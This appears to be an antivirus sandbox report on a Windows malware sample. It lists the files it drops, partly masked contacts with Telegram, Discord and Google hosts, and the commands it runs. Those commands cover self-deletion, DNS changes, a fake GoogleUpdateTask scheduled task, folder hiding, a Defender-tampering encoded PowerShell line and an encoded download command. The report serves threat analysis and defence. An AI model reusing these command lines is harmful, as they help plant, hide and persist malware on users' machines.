Technical Information
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\google\unzip.exe
- %ALLUSERSPROFILE%\google\software_reporter_tool.png
Deletes itself.
Network activity
Connects to
- 'ip##pi.com':80
- 'ap#.##legram.org':443
- 'cd#.##scordapp.com':443
- 'docs.google.com':443
- 'do#########ocs.googleusercontent.com':443
TCP
HTTP GET requests
- http://ip##pi.com/xml/
Other
- 'ap#.##legram.org':443
- 'cd#.##scordapp.com':443
- 'docs.google.com':443
- 'do#########ocs.googleusercontent.com':443
UDP
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
- DNS ASK cd#.##scordapp.com
- DNS ASK docs.google.com
- DNS ASK do#########ocs.googleusercontent.com
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\google\unzip.exe' cmd.exe /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8;cmd.exe /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%ALLUSERSPROFILE%\google\unzip.exe' -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AVABoAHIAZQBhAHQASQBEAEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AXwBJAGQAcwAgADIAMQA0ADcAOAAxADQANQAyADMAIAAtAFQAaAByAGUAYQB0AEkARABEAGUAZgBhAHUAbAB0...
- '%ALLUSERSPROFILE%\google\unzip.exe' -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAo...
Executes the following
- '<SYSTEM32>\cmd.exe' /c choice /c y /n /d y & Del "<Full path to file>"
- '<SYSTEM32>\choice.exe' /c y /n /d y
- '%WINDIR%\syswow64\cmd.exe' /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8
- '%WINDIR%\syswow64\netsh.exe' interface ipv4 set dns name=Local Area Connection static 8.8.8.8
- '%WINDIR%\syswow64\cmd.exe' /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%WINDIR%\syswow64\netsh.exe' interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /xml %WINDIR%\Temp\.xml /tn GoogleUpdateTask /f
- '%WINDIR%\syswow64\schtasks.exe' /create /xml %WINDIR%\Temp\.xml /tn GoogleUpdateTask /f
- '%WINDIR%\syswow64\cmd.exe' /c del %WINDIR%\Temp\.xml
- '%WINDIR%\syswow64\cmd.exe' /c attrib +h +S %ALLUSERSPROFILE%\Google
- '%WINDIR%\syswow64\attrib.exe' +h +S %ALLUSERSPROFILE%\Google
- '%WINDIR%\syswow64\cmd.exe' /c %ALLUSERSPROFILE%\Google\7z.exe x -o%ALLUSERSPROFILE%\Google\ %ALLUSERSPROFILE%\Google\software_reporter_tool.png -px -y
